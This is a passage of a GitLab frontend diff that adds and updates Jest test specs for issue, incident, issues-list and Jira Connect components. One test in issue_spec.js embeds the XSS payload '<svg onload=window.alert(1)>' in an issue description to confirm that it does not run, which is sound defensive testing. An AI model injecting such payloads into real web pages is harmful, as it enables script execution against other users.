+ const mountComponent = (data = {}, options = {}) => {
+ wrapper = shallowMount(
+ IncidentTabs,
+ merge(
+ {
+ propsData: {
+ ...descriptionProps,
+ },
+ stubs: {
+ DescriptionComponent: true,
+ MetricsTab: true,
+ },
+ provide: {
+ fullPath: '',
+ iid: '',
+ uploadMetricsFeatureAvailable: true,
+ },
+ data() {
+ return { alert: mockAlert, ...data };
+ },
+ mocks: {
+ $apollo: {
+ queries: {
+ alert: {
+ loading: true,
+ },
+ },
+ },
+ },
+ },
+ options,
+ ),
+ );
+ };
+
+ const findTabs = () => wrapper.findAll(GlTab);
+ const findSummaryTab = () => findTabs().at(0);
+ const findMetricsTab = () => wrapper.find('[data-testid="metrics-tab"]');
+ const findAlertDetailsTab = () => wrapper.find('[data-testid="alert-details-tab"]');
+ const findAlertDetailsComponent = () => wrapper.find(AlertDetailsTable);
+ const findDescriptionComponent = () => wrapper.find(DescriptionComponent);
+ const findHighlightBarComponent = () => wrapper.find(HighlightBar);
+
+ describe('empty state', () => {
+ beforeEach(() => {
+ mountComponent({ alert: null });
+ });
+
+ it('does not show the alert details tab', () => {
+ expect(findAlertDetailsComponent().exists()).toBe(false);
+ });
+ });
+
+ describe('with an alert present', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('renders the summary tab', () => {
+ expect(findSummaryTab().exists()).toBe(true);
+ expect(findSummaryTab().attributes('title')).toBe('Summary');
+ });
+
+ it('renders the alert details tab', () => {
+ expect(findAlertDetailsTab().exists()).toBe(true);
+ expect(findAlertDetailsTab().attributes('title')).toBe('Alert details');
+ });
+
+ it('renders the alert details table with the correct props', () => {
+ const alert = { iid: mockAlert.iid };
+
+ expect(findAlertDetailsComponent().props('alert')).toMatchObject(alert);
+ expect(findAlertDetailsComponent().props('loading')).toBe(true);
+ });
+
+ it('renders the description component with highlight bar', () => {
+ expect(findDescriptionComponent().exists()).toBe(true);
+ expect(findHighlightBarComponent().exists()).toBe(true);
+ });
+
+ it('renders the highlight bar component with the correct props', () => {
+ const alert = { detailsUrl: mockAlert.detailsUrl };
+
+ expect(findHighlightBarComponent().props('alert')).toMatchObject(alert);
+ });
+
+ it('passes all props to the description component', () => {
+ expect(findDescriptionComponent().props()).toMatchObject(descriptionProps);
+ });
+ });
+
+ describe('upload metrics feature available', () => {
+ it('shows the metric tab when metrics are available', async () => {
+ mountComponent({}, { provide: { uploadMetricsFeatureAvailable: true } });
+
+ await waitForPromises();
+
+ expect(findMetricsTab().exists()).toBe(true);
+ });
+
+ it('hides the tab when metrics are not available', async () => {
+ mountComponent({}, { provide: { uploadMetricsFeatureAvailable: false } });
+
+ await waitForPromises();
+
+ expect(findMetricsTab().exists()).toBe(false);
+ });
+ });
+
+ describe('Snowplow tracking', () => {
+ beforeEach(() => {
+ jest.spyOn(Tracking, 'event');
+ mountComponent();
+ });
+
+ it('should track incident details views', () => {
+ const { category, action } = trackIncidentDetailsViewsOptions;
+ expect(Tracking.event).toHaveBeenCalledWith(category, action);
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/pinned_links_spec.js b/spec/frontend/issues/show/components/pinned_links_spec.js
new file mode 100644
index 00000000000..aac720df6e9
--- /dev/null
+++ b/spec/frontend/issues/show/components/pinned_links_spec.js
@@ -0,0 +1,48 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import PinnedLinks from '~/issues/show/components/pinned_links.vue';
+import { STATUS_PAGE_PUBLISHED, JOIN_ZOOM_MEETING } from '~/issues/show/constants';
+
+const plainZoomUrl = 'https://zoom.us/j/123456789';
+const plainStatusUrl = 'https://status.com';
+
+describe('PinnedLinks', () => {
+ let wrapper;
+
+ const findButtons = () => wrapper.findAll(GlButton);
+
+ const createComponent = (props) => {
+ wrapper = shallowMount(PinnedLinks, {
+ propsData: {
+ zoomMeetingUrl: '',
+ publishedIncidentUrl: '',
+ ...props,
+ },
+ });
+ };
+
+ it('displays Zoom link', () => {
+ createComponent({
+ zoomMeetingUrl: `<a href="${plainZoomUrl}">Zoom</a>`,
+ });
+
+ expect(findButtons().at(0).text()).toBe(JOIN_ZOOM_MEETING);
+ });
+
+ it('displays Status link', () => {
+ createComponent({
+ publishedIncidentUrl: `<a href="${plainStatusUrl}">Status</a>`,
+ });
+
+ expect(findButtons().at(0).text()).toBe(STATUS_PAGE_PUBLISHED);
+ });
+
+ it('does not render if there are no links', () => {
+ createComponent({
+ zoomMeetingUrl: '',
+ publishedIncidentUrl: '',
+ });
+
+ expect(findButtons()).toHaveLength(0);
+ });
+});
diff --git a/spec/frontend/issues/show/components/title_spec.js b/spec/frontend/issues/show/components/title_spec.js
new file mode 100644
index 00000000000..f9026557be2
--- /dev/null
+++ b/spec/frontend/issues/show/components/title_spec.js
@@ -0,0 +1,95 @@
+import Vue from 'vue';
+import titleComponent from '~/issues/show/components/title.vue';
+import eventHub from '~/issues/show/event_hub';
+import Store from '~/issues/show/stores';
+
+describe('Title component', () => {
+ let vm;
+ beforeEach(() => {
+ setFixtures(`<title />`);
+
+ const Component = Vue.extend(titleComponent);
+ const store = new Store({
+ titleHtml: '',
+ descriptionHtml: '',
+ issuableRef: '',
+ });
+ vm = new Component({
+ propsData: {
+ issuableRef: '#1',
+ titleHtml: 'Testing <img />',
+ titleText: 'Testing',
+ showForm: false,
+ formState: store.formState,
+ },
+ }).$mount();
+ });
+
+ it('renders title HTML', () => {
+ expect(vm.$el.querySelector('.title').innerHTML.trim()).toBe('Testing <img>');
+ });
+
+ it('updates page title when changing titleHtml', () => {
+ const spy = jest.spyOn(vm, 'setPageTitle');
+ vm.titleHtml = 'test';
+
+ return vm.$nextTick().then(() => {
+ expect(spy).toHaveBeenCalled();
+ });
+ });
+
+ it('animates title changes', () => {
+ vm.titleHtml = 'test';
+ return vm
+ .$nextTick()
+ .then(() => {
+ expect(vm.$el.querySelector('.title').classList).toContain('issue-realtime-pre-pulse');
+ jest.runAllTimers();
+ return vm.$nextTick();
+ })
+ .then(() => {
+ expect(vm.$el.querySelector('.title').classList).toContain('issue-realtime-trigger-pulse');
+ });
+ });
+
+ it('updates page title after changing title', () => {
+ vm.titleHtml = 'changed';
+ vm.titleText = 'changed';
+
+ return vm.$nextTick().then(() => {
+ expect(document.querySelector('title').textContent.trim()).toContain('changed');
+ });
+ });
+
+ describe('inline edit button', () => {
+ it('should not show by default', () => {
+ expect(vm.$el.querySelector('.btn-edit')).toBeNull();
+ });
+
+ it('should not show if canUpdate is false', () => {
+ vm.showInlineEditButton = true;
+ vm.canUpdate = false;
+
+ expect(vm.$el.querySelector('.btn-edit')).toBeNull();
+ });
+
+ it('should show if showInlineEditButton and canUpdate', () => {
+ vm.showInlineEditButton = true;
+ vm.canUpdate = true;
+
+ expect(vm.$el.querySelector('.btn-edit')).toBeDefined();
+ });
+
+ it('should trigger open.form event when clicked', () => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ vm.showInlineEditButton = true;
+ vm.canUpdate = true;
+
+ Vue.nextTick(() => {
+ vm.$el.querySelector('.btn-edit').click();
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('open.form');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/issue_spec.js b/spec/frontend/issues/show/issue_spec.js
new file mode 100644
index 00000000000..6d7a31a6c8c
--- /dev/null
+++ b/spec/frontend/issues/show/issue_spec.js
@@ -0,0 +1,40 @@
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import { initIssuableApp } from '~/issues/show/issue';
+import * as parseData from '~/issues/show/utils/parse_data';
+import axios from '~/lib/utils/axios_utils';
+import createStore from '~/notes/stores';
+import { appProps } from './mock_data/mock_data';
+
+const mock = new MockAdapter(axios);
+mock.onGet().reply(200);
+
+jest.mock('~/lib/utils/poll');
+
+const setupHTML = (initialData) => {
+ document.body.innerHTML = `<div id="js-issuable-app"></div>`;
+ document.getElementById('js-issuable-app').dataset.initial = JSON.stringify(initialData);
+};
+
+describe('Issue show index', () => {
+ describe('initIssuableApp', () => {
+ it('should initialize app with no potential XSS attack', async () => {
+ const alertSpy = jest.spyOn(window, 'alert').mockImplementation(() => {});
+ const parseDataSpy = jest.spyOn(parseData, 'parseIssuableData');
+
+ setupHTML({
+ ...appProps,
+ initialDescriptionHtml: '<svg onload=window.alert(1)>',
+ });
+
+ const initialDataEl = document.getElementById('js-issuable-app');
+ const issuableData = parseData.parseIssuableData(initialDataEl);
+ initIssuableApp(issuableData, createStore());
+
+ await waitForPromises();
+
+ expect(parseDataSpy).toHaveBeenCalled();
+ expect(alertSpy).not.toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/issue_show/mock_data/apollo_mock.js b/spec/frontend/issues/show/mock_data/apollo_mock.js
index bfd31e74393..bfd31e74393 100644
--- a/spec/frontend/issue_show/mock_data/apollo_mock.js
+++ b/spec/frontend/issues/show/mock_data/apollo_mock.js
diff --git a/spec/frontend/issue_show/mock_data/mock_data.js b/spec/frontend/issues/show/mock_data/mock_data.js
index a73826954c3..a73826954c3 100644
--- a/spec/frontend/issue_show/mock_data/mock_data.js
+++ b/spec/frontend/issues/show/mock_data/mock_data.js
diff --git a/spec/frontend/issues/show/store_spec.js b/spec/frontend/issues/show/store_spec.js
new file mode 100644
index 00000000000..20d3a6cdaae
--- /dev/null
+++ b/spec/frontend/issues/show/store_spec.js
@@ -0,0 +1,39 @@
+import Store from '~/issues/show/stores';
+import updateDescription from '~/issues/show/utils/update_description';
+
+jest.mock('~/issues/show/utils/update_description');
+
+describe('Store', () => {
+ let store;
+
+ beforeEach(() => {
+ store = new Store({
+ descriptionHtml: '<p>This is a description</p>',
+ });
+ });
+
+ describe('updateState', () => {
+ beforeEach(() => {
+ document.body.innerHTML = `
+ <div class="detail-page-description content-block">
+ <details open>
+ <summary>One</summary>
+ </details>
+ <details>
+ <summary>Two</summary>
+ </details>
+ </div>
+ `;
+ });
+
+ afterEach(() => {
+ document.getElementsByTagName('html')[0].innerHTML = '';
+ });
+
+ it('calls updateDetailsState', () => {
+ store.updateState({ description: '' });
+
+ expect(updateDescription).toHaveBeenCalledTimes(1);
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/utils/update_description_spec.js b/spec/frontend/issues/show/utils/update_description_spec.js
new file mode 100644
index 00000000000..f4afef8af12
--- /dev/null
+++ b/spec/frontend/issues/show/utils/update_description_spec.js
@@ -0,0 +1,24 @@
+import updateDescription from '~/issues/show/utils/update_description';
+
+describe('updateDescription', () => {
+ it('returns the correct value to be set as descriptionHtml', () => {
+ const actual = updateDescription(
+ '<details><summary>One</summary></details><details><summary>Two</summary></details>',
+ [{ open: true }, { open: false }], // mocking NodeList from the dom.
+ );
+
+ expect(actual).toEqual(
+ '<details open="true"><summary>One</summary></details><details><summary>Two</summary></details>',
+ );
+ });
+
+ describe('when description details returned from api is different then whats currently on the dom', () => {
+ it('returns the description from the api', () => {
+ const dataDescription = '<details><summary>One</summary></details>';
+
+ const actual = updateDescription(dataDescription, []);
+
+ expect(actual).toEqual(dataDescription);
+ });
+ });
+});
diff --git a/spec/frontend/issues_list/components/issuable_spec.js b/spec/frontend/issues_list/components/issuable_spec.js
index 97d841c861d..f3c2ae1f9dc 100644
--- a/spec/frontend/issues_list/components/issuable_spec.js
+++ b/spec/frontend/issues_list/components/issuable_spec.js
@@ -7,7 +7,7 @@ import { isScopedLabel } from '~/lib/utils/common_utils';
import { formatDate } from '~/lib/utils/datetime_utility';
import { mergeUrlParams } from '~/lib/utils/url_utility';
import initUserPopovers from '~/user_popovers';
-import IssueAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
+import IssueAssignees from '~/issuable/components/issue_assignees.vue';
import { simpleIssue, testAssignees, testLabels } from '../issuable_list_test_data';
jest.mock('~/user_popovers');
diff --git a/spec/frontend/issues_list/components/issuables_list_app_spec.js b/spec/frontend/issues_list/components/issuables_list_app_spec.js
index 5ef2a2e0525..11854db534e 100644
--- a/spec/frontend/issues_list/components/issuables_list_app_spec.js
+++ b/spec/frontend/issues_list/components/issuables_list_app_spec.js
@@ -13,7 +13,7 @@ import createFlash from '~/flash';
import Issuable from '~/issues_list/components/issuable.vue';
import IssuablesListApp from '~/issues_list/components/issuables_list_app.vue';
import { PAGE_SIZE, PAGE_SIZE_MANUAL, RELATIVE_POSITION } from '~/issues_list/constants';
-import issueablesEventBus from '~/issues_list/eventhub';
+import issuablesEventBus from '~/issues_list/eventhub';
import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
jest.mock('~/flash');
@@ -185,8 +185,8 @@ describe('Issuables list component', () => {
describe('with bulk editing enabled', () => {
beforeEach(() => {
- issueablesEventBus.$on.mockReset();
- issueablesEventBus.$emit.mockReset();
+ issuablesEventBus.$on.mockReset();
+ issuablesEventBus.$emit.mockReset();
setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
factory({ canBulkEdit: true });
@@ -239,19 +239,19 @@ describe('Issuables list component', () => {
});
it('broadcasts a message to the bulk edit sidebar when a value is added to selection', () => {
- issueablesEventBus.$emit.mockReset();
+ issuablesEventBus.$emit.mockReset();
const i1 = wrapper.vm.issuables[1];
wrapper.vm.onSelectIssuable({ issuable: i1, selected: true });
return wrapper.vm.$nextTick().then(() => {
- expect(issueablesEventBus.$emit).toHaveBeenCalledTimes(1);
- expect(issueablesEventBus.$emit).toHaveBeenCalledWith('issuables:updateBulkEdit');
+ expect(issuablesEventBus.$emit).toHaveBeenCalledTimes(1);
+ expect(issuablesEventBus.$emit).toHaveBeenCalledWith('issuables:updateBulkEdit');
});
});
it('does not broadcast a message to the bulk edit sidebar when a value is not added to selection', () => {
- issueablesEventBus.$emit.mockReset();
+ issuablesEventBus.$emit.mockReset();
return wrapper.vm
.$nextTick()
@@ -263,19 +263,19 @@ describe('Issuables list component', () => {
})
.then(wrapper.vm.$nextTick)
.then(() => {
- expect(issueablesEventBus.$emit).toHaveBeenCalledTimes(0);
+ expect(issuablesEventBus.$emit).toHaveBeenCalledTimes(0);
});
});
it('listens to a message to toggle bulk editing', () => {
expect(wrapper.vm.isBulkEditing).toBe(false);
- expect(issueablesEventBus.$on.mock.calls[0][0]).toBe('issuables:toggleBulkEdit');
- issueablesEventBus.$on.mock.calls[0][1](true); // Call the message handler
+ expect(issuablesEventBus.$on.mock.calls[0][0]).toBe('issuables:toggleBulkEdit');
+ issuablesEventBus.$on.mock.calls[0][1](true); // Call the message handler
return waitForPromises()
.then(() => {
expect(wrapper.vm.isBulkEditing).toBe(true);
- issueablesEventBus.$on.mock.calls[0][1](false);
+ issuablesEventBus.$on.mock.calls[0][1](false);
})
.then(() => {
expect(wrapper.vm.isBulkEditing).toBe(false);
diff --git a/spec/frontend/issues_list/components/issue_card_time_info_spec.js b/spec/frontend/issues_list/components/issue_card_time_info_spec.js
index d195c159cbb..7c5faeb8dc1 100644
--- a/spec/frontend/issues_list/components/issue_card_time_info_spec.js
+++ b/spec/frontend/issues_list/components/issue_card_time_info_spec.js
@@ -3,7 +3,7 @@ import { shallowMount } from '@vue/test-utils';
import { useFakeDate } from 'helpers/fake_date';
import IssueCardTimeInfo from '~/issues_list/components/issue_card_time_info.vue';
-describe('IssuesListApp component', () => {
+describe('CE IssueCardTimeInfo component', () => {
useFakeDate(2020, 11, 11);
let wrapper;
diff --git a/spec/frontend/issues_list/components/issues_list_app_spec.js b/spec/frontend/issues_list/components/issues_list_app_spec.js
index 3f52c7b4afe..f24c090fa92 100644
--- a/spec/frontend/issues_list/components/issues_list_app_spec.js
+++ b/spec/frontend/issues_list/components/issues_list_app_spec.js
@@ -1,8 +1,9 @@
import { GlButton, GlEmptyState, GlLink } from '@gitlab/ui';
-import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
+import * as Sentry from '@sentry/browser';
+import { mount, shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
import { cloneDeep } from 'lodash';
-import { nextTick } from 'vue';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import getIssuesQuery from 'ee_else_ce/issues_list/queries/get_issues.query.graphql';
import getIssuesCountsQuery from 'ee_else_ce/issues_list/queries/get_issues_counts.query.graphql';
@@ -17,29 +18,28 @@ import {
locationSearch,
urlParams,
} from 'jest/issues_list/mock_data';
-import createFlash from '~/flash';
+import createFlash, { FLASH_TYPES } from '~/flash';
import { convertToGraphQLId, getIdFromGraphQLId } from '~/graphql_shared/utils';
import CsvImportExportButtons from '~/issuable/components/csv_import_export_buttons.vue';
import IssuableByEmail from '~/issuable/components/issuable_by_email.vue';
-import IssuableList from '~/issuable_list/components/issuable_list_root.vue';
-import { IssuableListTabs, IssuableStates } from '~/issuable_list/constants';
+import IssuableList from '~/vue_shared/issuable/list/components/issuable_list_root.vue';
+import { IssuableListTabs, IssuableStates } from '~/vue_shared/issuable/list/constants';
import IssuesListApp from '~/issues_list/components/issues_list_app.vue';
import NewIssueDropdown from '~/issues_list/components/new_issue_dropdown.vue';
import {
CREATED_DESC,
DUE_DATE_OVERDUE,
PARAM_DUE_DATE,
+ RELATIVE_POSITION,
+ RELATIVE_POSITION_ASC,
TOKEN_TYPE_ASSIGNEE,
TOKEN_TYPE_AUTHOR,
TOKEN_TYPE_CONFIDENTIAL,
- TOKEN_TYPE_EPIC,
- TOKEN_TYPE_ITERATION,
TOKEN_TYPE_LABEL,
TOKEN_TYPE_MILESTONE,
TOKEN_TYPE_MY_REACTION,
TOKEN_TYPE_RELEASE,
TOKEN_TYPE_TYPE,
- TOKEN_TYPE_WEIGHT,
urlSortParams,
} from '~/issues_list/constants';
import eventHub from '~/issues_list/eventhub';
@@ -48,17 +48,17 @@ import axios from '~/lib/utils/axios_utils';
import { scrollUp } from '~/lib/utils/scroll_utils';
import { joinPaths } from '~/lib/utils/url_utility';
+jest.mock('@sentry/browser');
jest.mock('~/flash');
jest.mock('~/lib/utils/scroll_utils', () => ({
scrollUp: jest.fn().mockName('scrollUpMock'),
}));
-describe('IssuesListApp component', () => {
+describe('CE IssuesListApp component', () => {
let axiosMock;
let wrapper;
- const localVue = createLocalVue();
- localVue.use(VueApollo);
+ Vue.use(VueApollo);
const defaultProvide = {
calendarPath: 'calendar/path',
@@ -69,6 +69,7 @@ describe('IssuesListApp component', () => {
hasAnyIssues: true,
hasAnyProjects: true,
hasBlockedIssuesFeature: true,
+ hasIssuableHealthStatusFeature: true,
hasIssueWeightsFeature: true,
hasIterationsFeature: true,
isProject: true,
@@ -111,7 +112,6 @@ describe('IssuesListApp component', () => {
const apolloProvider = createMockApollo(requestHandlers);
return mountFn(IssuesListApp, {
- localVue,
apolloProvider,
provide: {
...defaultProvide,
@@ -314,6 +314,29 @@ describe('IssuesListApp component', () => {
},
});
});
+
+ describe('when issue repositioning is disabled and the sort is manual', () => {
+ beforeEach(() => {
+ setWindowLocation(`?sort=${RELATIVE_POSITION}`);
+ wrapper = mountComponent({ provide: { isIssueRepositioningDisabled: true } });
+ });
+
+ it('changes the sort to the default of created descending', () => {
+ expect(findIssuableList().props()).toMatchObject({
+ initialSortBy: CREATED_DESC,
+ urlParams: {
+ sort: urlSortParams[CREATED_DESC],
+ },
+ });
+ });
+
+ it('shows an alert to tell the user that manual reordering is disabled', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: IssuesListApp.i18n.issueRepositioningMessage,
+ type: FLASH_TYPES.NOTICE,
+ });
+ });
+ });
});
describe('state', () => {
@@ -336,6 +359,27 @@ describe('IssuesListApp component', () => {
expect(findIssuableList().props('initialFilterValue')).toEqual(filteredTokens);
});
+
+ describe('when anonymous searching is performed', () => {
+ beforeEach(() => {
+ setWindowLocation(locationSearch);
+
+ wrapper = mountComponent({
+ provide: { isAnonymousSearchDisabled: true, isSignedIn: false },
+ });
+ });
+
+ it('is not set from url params', () => {
+ expect(findIssuableList().props('initialFilterValue')).toEqual([]);
+ });
+
+ it('shows an alert to tell the user they must be signed in to search', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: IssuesListApp.i18n.anonymousSearchingMessage,
+ type: FLASH_TYPES.NOTICE,
+ });
+ });
+ });
});
});
@@ -484,11 +528,7 @@ describe('IssuesListApp component', () => {
describe('when user is signed out', () => {
beforeEach(() => {
- wrapper = mountComponent({
- provide: {
- isSignedIn: false,
- },
- });
+ wrapper = mountComponent({ provide: { isSignedIn: false } });
});
it('does not render My-Reaction or Confidential tokens', () => {
@@ -501,54 +541,6 @@ describe('IssuesListApp component', () => {
});
});
- describe('when iterations are not available', () => {
- beforeEach(() => {
- wrapper = mountComponent({
- provide: {
- projectIterationsPath: '',
- },
- });
- });
-
- it('does not render Iteration token', () => {
- expect(findIssuableList().props('searchTokens')).not.toMatchObject([
- { type: TOKEN_TYPE_ITERATION },
- ]);
- });
- });
-
- describe('when epics are not available', () => {
- beforeEach(() => {
- wrapper = mountComponent({
- provide: {
- groupPath: '',
- },
- });
- });
-
- it('does not render Epic token', () => {
- expect(findIssuableList().props('searchTokens')).not.toMatchObject([
- { type: TOKEN_TYPE_EPIC },
- ]);
- });
- });
-
- describe('when weights are not available', () => {
- beforeEach(() => {
- wrapper = mountComponent({
- provide: {
- groupPath: '',
- },
- });
- });
-
- it('does not render Weight token', () => {
- expect(findIssuableList().props('searchTokens')).not.toMatchObject([
- { type: TOKEN_TYPE_WEIGHT },
- ]);
- });
- });
-
describe('when all tokens are available', () => {
const originalGon = window.gon;
@@ -561,33 +553,27 @@ describe('IssuesListApp component', () => {
current_user_avatar_url: mockCurrentUser.avatar_url,
};
- wrapper = mountComponent({
- provide: {
- isSignedIn: true,
- projectIterationsPath: 'project/iterations/path',
- groupPath: 'group/path',
- hasIssueWeightsFeature: true,
- },
- });
+ wrapper = mountComponent({ provide: { isSignedIn: true } });
});
- it('renders all tokens', () => {
+ afterEach(() => {
+ window.gon = originalGon;
+ });
+
+ it('renders all tokens alphabetically', () => {
const preloadedAuthors = [
{ ...mockCurrentUser, id: convertToGraphQLId('User', mockCurrentUser.id) },
];
expect(findIssuableList().props('searchTokens')).toMatchObject([
- { type: TOKEN_TYPE_AUTHOR, preloadedAuthors },
{ type: TOKEN_TYPE_ASSIGNEE, preloadedAuthors },
- { type: TOKEN_TYPE_MILESTONE },
+ { type: TOKEN_TYPE_AUTHOR, preloadedAuthors },
+ { type: TOKEN_TYPE_CONFIDENTIAL },
{ type: TOKEN_TYPE_LABEL },
- { type: TOKEN_TYPE_TYPE },
- { type: TOKEN_TYPE_RELEASE },
+ { type: TOKEN_TYPE_MILESTONE },
{ type: TOKEN_TYPE_MY_REACTION },
- { type: TOKEN_TYPE_CONFIDENTIAL },
- { type: TOKEN_TYPE_ITERATION },
- { type: TOKEN_TYPE_EPIC },
- { type: TOKEN_TYPE_WEIGHT },
+ { type: TOKEN_TYPE_RELEASE },
+ { type: TOKEN_TYPE_TYPE },
]);
});
});
@@ -607,13 +593,18 @@ describe('IssuesListApp component', () => {
});
it('shows an error message', () => {
- expect(createFlash).toHaveBeenCalledWith({
- captureError: true,
- error: new Error('Network error: ERROR'),
- message,
- });
+ expect(findIssuableList().props('error')).toBe(message);
+ expect(Sentry.captureException).toHaveBeenCalledWith(new Error('Network error: ERROR'));
});
});
+
+ it('clears error message when "dismiss-alert" event is emitted from IssuableList', () => {
+ wrapper = mountComponent({ issuesQueryResponse: jest.fn().mockRejectedValue(new Error()) });
+
+ findIssuableList().vm.$emit('dismiss-alert');
+
+ expect(findIssuableList().props('error')).toBeNull();
+ });
});
describe('events', () => {
@@ -676,6 +667,7 @@ describe('IssuesListApp component', () => {
const response = (isProject = true) => ({
data: {
[isProject ? 'project' : 'group']: {
+ id: '1',
issues: {
...defaultQueryResponse.data.project.issues,
nodes: [issueOne, issueTwo, issueThree, issueFour],
@@ -737,11 +729,10 @@ describe('IssuesListApp component', () => {
await waitForPromises();
- expect(createFlash).toHaveBeenCalledWith({
- message: IssuesListApp.i18n.reorderError,
- captureError: true,
- error: new Error('Request failed with status code 500'),
- });
+ expect(findIssuableList().props('error')).toBe(IssuesListApp.i18n.reorderError);
+ expect(Sentry.captureException).toHaveBeenCalledWith(
+ new Error('Request failed with status code 500'),
+ );
});
});
});
@@ -762,6 +753,30 @@ describe('IssuesListApp component', () => {
});
},
);
+
+ describe('when issue repositioning is disabled', () => {
+ const initialSort = CREATED_DESC;
+
+ beforeEach(() => {
+ setWindowLocation(`?sort=${initialSort}`);
+ wrapper = mountComponent({ provide: { isIssueRepositioningDisabled: true } });
+
+ findIssuableList().vm.$emit('sort', RELATIVE_POSITION_ASC);
+ });
+
+ it('does not update the sort to manual', () => {
+ expect(findIssuableList().props('urlParams')).toMatchObject({
+ sort: urlSortParams[initialSort],
+ });
+ });
+
+ it('shows an alert to tell the user that manual reordering is disabled', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: IssuesListApp.i18n.issueRepositioningMessage,
+ type: FLASH_TYPES.NOTICE,
+ });
+ });
+ });
});
describe('when "update-legacy-bulk-edit" event is emitted by IssuableList', () => {
@@ -778,15 +793,37 @@ describe('IssuesListApp component', () => {
});
describe('when "filter" event is emitted by IssuableList', () => {
- beforeEach(() => {
+ it('updates IssuableList with url params', async () => {
wrapper = mountComponent();
findIssuableList().vm.$emit('filter', filteredTokens);
- });
+ await nextTick();
- it('updates IssuableList with url params', () => {
expect(findIssuableList().props('urlParams')).toMatchObject(urlParams);
});
+
+ describe('when anonymous searching is performed', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ provide: { isAnonymousSearchDisabled: true, isSignedIn: false },
+ });
+
+ findIssuableList().vm.$emit('filter', filteredTokens);
+ });
+
+ it('does not update IssuableList with url params ', async () => {
+ const defaultParams = { sort: 'created_date', state: 'opened' };
+
+ expect(findIssuableList().props('urlParams')).toEqual(defaultParams);
+ });
+
+ it('shows an alert to tell the user they must be signed in to search', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: IssuesListApp.i18n.anonymousSearchingMessage,
+ type: FLASH_TYPES.NOTICE,
+ });
+ });
+ });
});
});
});
diff --git a/spec/frontend/issues_list/mock_data.js b/spec/frontend/issues_list/mock_data.js
index 19a8af4d9c2..948699876ce 100644
--- a/spec/frontend/issues_list/mock_data.js
+++ b/spec/frontend/issues_list/mock_data.js
@@ -6,6 +6,7 @@ import {
export const getIssuesQueryResponse = {
data: {
project: {
+ id: '1',
issues: {
pageInfo: {
hasNextPage: true,
@@ -22,6 +23,7 @@ export const getIssuesQueryResponse = {
createdAt: '2021-05-22T04:08:01Z',
downvotes: 2,
dueDate: '2021-05-29',
+ hidden: false,
humanTimeEstimate: null,
mergeRequestsCount: false,
moved: false,
@@ -74,6 +76,7 @@ export const getIssuesQueryResponse = {
export const getIssuesCountsQueryResponse = {
data: {
project: {
+ id: '1',
openedIssues: {
count: 1,
},
@@ -287,6 +290,7 @@ export const project3 = {
export const searchProjectsQueryResponse = {
data: {
group: {
+ id: '1',
projects: {
nodes: [project1, project2, project3],
},
@@ -297,6 +301,7 @@ export const searchProjectsQueryResponse = {
export const emptySearchProjectsQueryResponse = {
data: {
group: {
+ id: '1',
projects: {
nodes: [],
},
diff --git a/spec/frontend/jira_connect/subscriptions/components/app_spec.js b/spec/frontend/jira_connect/subscriptions/components/app_spec.js
index 8e464968453..47fe96262ee 100644
--- a/spec/frontend/jira_connect/subscriptions/components/app_spec.js
+++ b/spec/frontend/jira_connect/subscriptions/components/app_spec.js
@@ -5,6 +5,7 @@ import JiraConnectApp from '~/jira_connect/subscriptions/components/app.vue';
import AddNamespaceButton from '~/jira_connect/subscriptions/components/add_namespace_button.vue';
import SignInButton from '~/jira_connect/subscriptions/components/sign_in_button.vue';
import SubscriptionsList from '~/jira_connect/subscriptions/components/subscriptions_list.vue';
+import UserLink from '~/jira_connect/subscriptions/components/user_link.vue';
import createStore from '~/jira_connect/subscriptions/store';
import { SET_ALERT } from '~/jira_connect/subscriptions/store/mutation_types';
import { __ } from '~/locale';
@@ -12,6 +13,7 @@ import { mockSubscription } from '../mock_data';
jest.mock('~/jira_connect/subscriptions/utils', () => ({
retrieveAlert: jest.fn().mockReturnValue({ message: 'error message' }),
+ getGitlabSignInURL: jest.fn(),
}));
describe('JiraConnectApp', () => {
@@ -83,6 +85,22 @@ describe('JiraConnectApp', () => {
});
},
);
+
+ it('renders UserLink component', () => {
+ createComponent({
+ provide: {
+ usersPath: '/user',
+ subscriptions: [],
+ },
+ });
+
+ const userLink = wrapper.findComponent(UserLink);
+ expect(userLink.exists()).toBe(true);
+ expect(userLink.props()).toEqual({
+ hasSubscriptions: false,
+ userSignedIn: false,
+ });
+ });
});
describe('alert', () => {
diff --git a/spec/frontend/jira_connect/subscriptions/components/user_link_spec.js b/spec/frontend/jira_connect/subscriptions/components/user_link_spec.js
new file mode 100644
index 00000000000..b98a36269a3
--- /dev/null
+++ b/spec/frontend/jira_connect/subscriptions/components/user_link_spec.js
@@ -0,0 +1,91 @@
+import { GlSprintf } from '@gitlab/ui';
+import UserLink from '~/jira_connect/subscriptions/components/user_link.vue';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+
+jest.mock('~/jira_connect/subscriptions/utils', () => ({
+ getGitlabSignInURL: jest.fn().mockImplementation((path) => Promise.resolve(path)),
+}));
+
+describe('SubscriptionsList', () => {
+ let wrapper;
+
+ const createComponent = (propsData = {}, { provide } = {}) => {
+ wrapper = shallowMountExtended(UserLink, {
+ propsData,
+ provide,
+ stubs: {
+ GlSprintf,
+ },
+ });
+ };
+
+ const findSignInLink = () => wrapper.findByTestId('sign-in-link');
+ const findGitlabUserLink = () => wrapper.findByTestId('gitlab-user-link');
+ const findSprintf = () => wrapper.findComponent(GlSprintf);
+
